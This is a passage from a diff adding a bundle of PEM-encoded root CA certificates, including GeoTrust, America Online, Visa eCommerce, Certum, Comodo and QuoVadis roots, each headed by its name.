+SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA
+A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0
+DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17
+j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q
+JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a
+QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2
+WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP
+20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn
+ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC
+SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG
+8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2
++/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E
+BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z
+dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ
+4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+
+mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq
+A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg
+Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP
+pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d
+FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp
+gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm
+X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS
+-----END CERTIFICATE-----
+
+America Online Root Certification Authority 1
+=============================================
+-----BEGIN CERTIFICATE-----
+MIIDpDCCAoygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT
+QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp
+Y2F0aW9uIEF1dGhvcml0eSAxMB4XDTAyMDUyODA2MDAwMFoXDTM3MTExOTIwNDMwMFowYzELMAkG
+A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg
+T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMTCCASIwDQYJKoZIhvcNAQEBBQAD
+ggEPADCCAQoCggEBAKgv6KRpBgNHw+kqmP8ZonCaxlCyfqXfaE0bfA+2l2h9LaaLl+lkhsmj76CG
+v2BlnEtUiMJIxUo5vxTjWVXlGbR0yLQFOVwWpeKVBeASrlmLojNoWBym1BW32J/X3HGrfpq/m44z
+DyL9Hy7nBzbvYjnF3cu6JRQj3gzGPTzOggjmZj7aUTsWOqMFf6Dch9Wc/HKpoH145LcxVR5lu9Rh
+sCFg7RAycsWSJR74kEoYeEfffjA3PlAb2xzTa5qGUwew76wGePiEmf4hjUyAtgyC9mZweRrTT6PP
+8c9GsEsPPt2IYriMqQkoO3rHl+Ee5fSfwMCuJKDIodkP1nsmgmkyPacCAwEAAaNjMGEwDwYDVR0T
+AQH/BAUwAwEB/zAdBgNVHQ4EFgQUAK3Zo/Z59m50qX8zPYEX10zPM94wHwYDVR0jBBgwFoAUAK3Z
+o/Z59m50qX8zPYEX10zPM94wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBBQUAA4IBAQB8itEf
+GDeC4Liwo+1WlchiYZwFos3CYiZhzRAW18y0ZTTQEYqtqKkFZu90821fnZmv9ov761KyBZiibyrF
+VL0lvV+uyIbqRizBs73B6UlwGBaXCBOMIOAbLjpHyx7kADCVW/RFo8AasAFOq73AI25jP4BKxQft
+3OJvx8Fi8eNy1gTIdGcL+oiroQHIb/AUr9KZzVGTfu0uOMe9zkZQPXLjeSWdm4grECDdpbgyn43g
+Kd8hdIaC2y+CMMbHNYaz+ZZfRtsMRf3zUMNvxsNIrUam4SdHCh0Om7bCd39j8uB9Gr784N/Xx6ds
+sPmuujz9dLQR6FgNgLzTqIA6me11zEZ7
+-----END CERTIFICATE-----
+
+America Online Root Certification Authority 2
+=============================================
+-----BEGIN CERTIFICATE-----
+MIIFpDCCA4ygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT
+QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp
+Y2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyODA2MDAwMFoXDTM3MDkyOTE0MDgwMFowYzELMAkG
+A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg
+T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQAD
+ggIPADCCAgoCggIBAMxBRR3pPU0Q9oyxQcngXssNt79Hc9PwVU3dxgz6sWYFas14tNwC206B89en
+fHG8dWOgXeMHDEjsJcQDIPT/DjsS/5uN4cbVG7RtIuOx238hZK+GvFciKtZHgVdEglZTvYYUAQv8
+f3SkWq7xuhG1m1hagLQ3eAkzfDJHA1zEpYNI9FdWboE2JxhP7JsowtS013wMPgwr38oE18aO6lhO
+qKSlGBxsRZijQdEt0sdtjRnxrXm3gT+9BoInLRBYBbV4Bbkv2wxrkJB+FFk4u5QkE+XRnRTf04JN
+RvCAOVIyD+OEsnpD8l7eXz8d3eOyG6ChKiMDbi4BFYdcpnV1x5dhvt6G3NRI270qv0pV2uh9UPu0
+gBe4lL8BPeraunzgWGcXuVjgiIZGZ2ydEEdYMtA1fHkqkKJaEBEjNa0vzORKW6fIJ/KD3l67Xnfn
+6KVuY8INXWHQjNJsWiEOyiijzirplcdIz5ZvHZIlyMbGwcEMBawmxNJ10uEqZ8A9W6Wa6897Gqid
+FEXlD6CaZd4vKL3Ob5Rmg0gp2OpljK+T2WSfVVcmv2/LNzGZo2C7HK2JNDJiuEMhBnIMoVxtRsX6
+Kc8w3onccVvdtjc+31D1uAclJuW8tf48ArO3+L5DwYcRlJ4jbBeKuIonDFRH8KmzwICMoCfrHRnj
+B453cMor9H124HhnAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE1FwWg4u3Op
+aaEg5+31IqEjFNeeMB8GA1UdIwQYMBaAFE1FwWg4u3OpaaEg5+31IqEjFNeeMA4GA1UdDwEB/wQE
+AwIBhjANBgkqhkiG9w0BAQUFAAOCAgEAZ2sGuV9FOypLM7PmG2tZTiLMubekJcmnxPBUlgtk87FY
+T15R/LKXeydlwuXK5w0MJXti4/qftIe3RUavg6WXSIylvfEWK5t2LHo1YGwRgJfMqZJS5ivmae2p
++DYtLHe/YUjRYwu5W1LtGLBDQiKmsXeu3mnFzcccobGlHBD7GL4acN3Bkku+KVqdPzW+5X1R+FXg
+JXUjhx5c3LqdsKyzadsXg8n33gy8CNyRnqjQ1xU3c6U1uPx+xURABsPr+CKAXEfOAuMRn0T//Zoy
+zH1kUQ7rVyZ2OuMeIjzCpjbdGe+n/BLzJsBZMYVMnNjP36TMzCmT/5RtdlwTCJfy7aULTd3oyWgO
+ZtMADjMSW7yV5TKQqLPGbIOtd+6Lfn6xqavT4fG2wLHqiMDn05DpKJKUe2h7lyoKZy2FAjgQ5ANh
+1NolNscIWC2hp1GvMApJ9aZphwctREZ2jirlmjvXGKL8nDgQzMY70rUXOm/9riW99XJZZLF0Kjhf
+GEzfz3EEWjbUvy+ZnOjZurGV5gJLIaFb1cFPj65pbVPbAZO1XB4Y3WRayhgoPmMEEf0cjQAPuDff
+Z4qdZqkCapH/E8ovXYO8h5Ns3CRRFgQlZvqz2cK6Kb6aSDiCmfS/O0oxGfm/jiEzFMpPVF/7zvuP
+cX/9XhmgD0uRuMRUvAawRY8mkaKO/qk=
+-----END CERTIFICATE-----
+
+Visa eCommerce Root
+===================
+-----BEGIN CERTIFICATE-----
+MIIDojCCAoqgAwIBAgIQE4Y1TR0/BvLB+WUF1ZAcYjANBgkqhkiG9w0BAQUFADBrMQswCQYDVQQG
+EwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2Ug
+QXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNvbW1lcmNlIFJvb3QwHhcNMDIwNjI2MDIxODM2
+WhcNMjIwNjI0MDAxNjEyWjBrMQswCQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMm
+VmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNv
+bW1lcmNlIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvV95WHm6h2mCxlCfL
+F9sHP4CFT8icttD0b0/Pmdjh28JIXDqsOTPHH2qLJj0rNfVIsZHBAk4ElpF7sDPwsRROEW+1QK8b
+RaVK7362rPKgH1g/EkZgPI2h4H3PVz4zHvtH8aoVlwdVZqW1LS7YgFmypw23RuwhY/81q6UCzyr0
+TP579ZRdhE2o8mCP2w4lPJ9zcc+U30rq299yOIzzlr3xF7zSujtFWsan9sYXiwGd/BmoKoMWuDpI
+/k4+oKsGGelT84ATB+0tvz8KPFUgOSwsAGl0lUq8ILKpeeUYiZGo3BxN77t+Nwtd/jmliFKMAGzs
+GHxBvfaLdXe6YJ2E5/4tAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEG
+MB0GA1UdDgQWBBQVOIMPPyw/cDMezUb+B4wg4NfDtzANBgkqhkiG9w0BAQUFAAOCAQEAX/FBfXxc
+CLkr4NWSR/pnXKUTwwMhmytMiUbPWU3J/qVAtmPN3XEolWcRzCSs00Rsca4BIGsDoo8Ytyk6feUW
+YFN4PMCvFYP3j1IzJL1kk5fui/fbGKhtcbP3LBfQdCVp9/5rPJS+TUtBjE7ic9DjkCJzQ83z7+pz
+zkWKsKZJ/0x9nXGIxHYdkFsd7v3M9+79YKWxehZx0RbQfBI8bGmX265fOZpwLwU8GUYEmSA20GBu
+YQa7FkKMcPcw++DbZqMAAb3mLNqRX6BGi01qnD093QVG/na/oAo85ADmJ7f/hC3euiInlhBx6yLt
+398znM/jra6O1I7mT1GvFpLgXPYHDw==
+-----END CERTIFICATE-----
+
+Certum Root CA
+==============
+-----BEGIN CERTIFICATE-----
+MIIDDDCCAfSgAwIBAgIDAQAgMA0GCSqGSIb3DQEBBQUAMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQK
+ExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBDQTAeFw0wMjA2MTExMDQ2Mzla
+Fw0yNzA2MTExMDQ2MzlaMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8u
+by4xEjAQBgNVBAMTCUNlcnR1bSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6x
+wS7TT3zNJc4YPk/EjG+AanPIW1H4m9LcuwBcsaD8dQPugfCI7iNS6eYVM42sLQnFdvkrOYCJ5JdL
+kKWoePhzQ3ukYbDYWMzhbGZ+nPMJXlVjhNWo7/OxLjBos8Q82KxujZlakE403Daaj4GIULdtlkIJ
+89eVgw1BS7Bqa/j8D35in2fE7SZfECYPCE/wpFcozo+47UX2bu4lXapuOb7kky/ZR6By6/qmW6/K
+Uz/iDsaWVhFu9+lmqSbYf5VT7QqFiLpPKaVCjF62/IUgAKpoC6EahQGcxEZjgoi2IrHu/qpGWX7P
+NSzVttpd90gzFFS269lvzs2I1qsb2pY7HVkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkq
+hkiG9w0BAQUFAAOCAQEAuI3O7+cUus/usESSbLQ5PqKEbq24IXfS1HeCh+YgQYHu4vgRt2PRFze+
+GXYkHAQaTOs9qmdvLdTN/mUxcMUbpgIKumB7bVjCmkn+YzILa+M6wKyrO7Do0wlRjBCDxjTgxSvg
+GrZgFCdsMneMvLJymM/NzD+5yCRCFNZX/OYmQ6kd5YCQzgNUKD73P9P4Te1qCjqTE5s7FCMTY5w/
+0YcneeVMUeMBrYVdGjux1XMQpNPyvG5k9VpWkKjHDkx0Dy5xO/fIR/RpbxXyEV6DHpx8Uq79AtoS
+qFlnGNu8cN2bsWntgM6JQEhqDjXKKWYVIZQs6GAqm4VKQPNriiTsBhYscw==
+-----END CERTIFICATE-----
+
+Comodo AAA Services root
+========================
+-----BEGIN CERTIFICATE-----
+MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS
+R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg
+TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw
+MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl
+c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV
+BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
+ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG
+C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs
+i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW
+Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH
+Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK
+Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f
+BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl
+cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz
+LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm
+7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz
+Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z
+8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C
+12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg==
+-----END CERTIFICATE-----
+
+Comodo Secure Services root
+===========================
+-----BEGIN CERTIFICATE-----
+MIIEPzCCAyegAwIBAgIBATANBgkqhkiG9w0BAQUFADB+MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS
+R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg
+TGltaXRlZDEkMCIGA1UEAwwbU2VjdXJlIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAw
+MDAwMFoXDTI4MTIzMTIzNTk1OVowfjELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFu
+Y2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxJDAi
+BgNVBAMMG1NlY3VyZSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP
+ADCCAQoCggEBAMBxM4KK0HDrc4eCQNUd5MvJDkKQ+d40uaG6EfQlhfPMcm3ye5drswfxdySRXyWP
+9nQ95IDC+DwN879A6vfIUtFyb+/Iq0G4bi4XKpVpDM3SHpR7LZQdqnXXs5jLrLxkU0C8j6ysNstc
+rbvd4JQX7NFc0L/vpZXJkMWwrPsbQ996CF23uPJAGysnnlDOXmWCiIxe004MeuoIkbY2qitC++rC
+oznl2yY4rYsK7hljxxwk3wN42ubqwUcaCwtGCd0C/N7Lh1/XMGNooa7cMqG6vv5Eq2i2pRcV/b3V
+p6ea5EQz6YiO/O1R65NxTq0B50SOqy3LqP4BSUjwwN3HaNiS/j0CAwEAAaOBxzCBxDAdBgNVHQ4E
+FgQUPNiTiMLAggnMAZkGkyDpnnAJY08wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w
+gYEGA1UdHwR6MHgwO6A5oDeGNWh0dHA6Ly9jcmwuY29tb2RvY2EuY29tL1NlY3VyZUNlcnRpZmlj
+YXRlU2VydmljZXMuY3JsMDmgN6A1hjNodHRwOi8vY3JsLmNvbW9kby5uZXQvU2VjdXJlQ2VydGlm
+aWNhdGVTZXJ2aWNlcy5jcmwwDQYJKoZIhvcNAQEFBQADggEBAIcBbSMdflsXfcFhMs+P5/OKlFlm
+4J4oqF7Tt/Q05qo5spcWxYJvMqTpjOev/e/C6LlLqqP05tqNZSH7uoDrJiiFGv45jN5bBAS0VPmj
+Z55B+glSzAVIqMk/IQQezkhr/IXownuvf7fM+F86/TXGDe+X3EyrEeFryzHRbPtIgKvcnDe4IRRL
+DXE97IMzbtFuMhbsmMcWi1mmNKsFVy2T96oTy9IT4rcuO81rUBcJaD61JlfutuC23bkpgHl9j6Pw
+pCikFcSF9CfUa7/lXORlAnZUtOM3ZiTTGWHIUhDlizeauan5Hb/qmZJhlv8BzaFfDbxxvA6sCx1H
+RR3B7Hzs/Sk=
+-----END CERTIFICATE-----
+
+Comodo Trusted Services root
+============================
+-----BEGIN CERTIFICATE-----
+MIIEQzCCAyugAwIBAgIBATANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS
+R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg
+TGltaXRlZDElMCMGA1UEAwwcVHJ1c3RlZCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0wNDAxMDEw
+MDAwMDBaFw0yODEyMzEyMzU5NTlaMH8xCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1h
+bmNoZXN0ZXIxEDAOBgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSUw
+IwYDVQQDDBxUcnVzdGVkIENlcnRpZmljYXRlIFNlcnZpY2VzMIIBIjANBgkqhkiG9w0BAQEFAAOC
+AQ8AMIIBCgKCAQEA33FvNlhTWvI2VFeAxHQIIO0Yfyod5jWaHiWsnOWWfnJSoBVC21ndZHoa0Lh7
+3TkVvFVIxO06AOoxEbrycXQaZ7jPM8yoMa+j49d/vzMtTGo87IvDktJTdyR0nAducPy9C1t2ul/y
+/9c3S0pgePfw+spwtOpZqqPOSC+pw7ILfhdyFgymBwwbOM/JYrc/oJOlh0Hyt3BAd9i+FHzjqMB6
+juljatEPmsbS9Is6FARW1O24zG71++IsWL1/T2sr92AkWCTOJu80kTrV44HQsvAEAtdbtz6SrGsS
+ivnkBbA7kUlcsutT6vifR4buv5XAwAaf0lteERv0xwQ1KdJVXOTt6wIDAQABo4HJMIHGMB0GA1Ud
+DgQWBBTFe1i97doladL3WRaoszLAeydb9DAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
+/zCBgwYDVR0fBHwwejA8oDqgOIY2aHR0cDovL2NybC5jb21vZG9jYS5jb20vVHJ1c3RlZENlcnRp
+ZmljYXRlU2VydmljZXMuY3JsMDqgOKA2hjRodHRwOi8vY3JsLmNvbW9kby5uZXQvVHJ1c3RlZENl
+cnRpZmljYXRlU2VydmljZXMuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQDIk4E7ibSvuIQSTI3S8Ntw
+uleGFTQQuS9/HrCoiWChisJ3DFBKmwCL2Iv0QeLQg4pKHBQGsKNoBXAxMKdTmw7pSqBYaWcOrp32
+pSxBvzwGa+RZzG0Q8ZZvH9/0BAKkn0U+yNj6NkZEUD+Cl5EfKNsYEYwq5GWDVxISjBc/lDb+XbDA
+BHcTuPQV1T84zJQ6VdCsmPW6AF/ghhmBeC8owH7TzEIK9a5QoNE+xqFx7D+gIIxmOom0jtTYsU0l
+R+4viMi14QVFwL4Ucd56/Y57fU0IlqUSc/AtyjcndBInTMu2l+nZrghtWjlA3QVHdWpaIbOjGM9O
+9y5Xt5hwXsjEeLBi
+-----END CERTIFICATE-----
+
+QuoVadis Root CA
+================
+-----BEGIN CERTIFICATE-----
+MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE
+ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0
+eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz
+MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp
+cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD
+EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF
+AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk
+J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL
+F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL
+YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen
+AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w
+PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y
+ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7
+MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj
+YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs
+ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh
+Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW
+Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu
+BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw
+FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0
+aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6
+tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo
+fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul
+LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x
+gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi
+5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi
+5nrQNiOKSnQ2+Q==
+-----END CERTIFICATE-----
+
+QuoVadis Root CA 2
+==================
+-----BEGIN CERTIFICATE-----
+MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT
+EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx
+ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM
+aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC
+DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6
+XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk
+lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB
+lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy
+lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt
+66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn
+wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh
+D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy
+BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie
+J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud
+DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU
+a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT
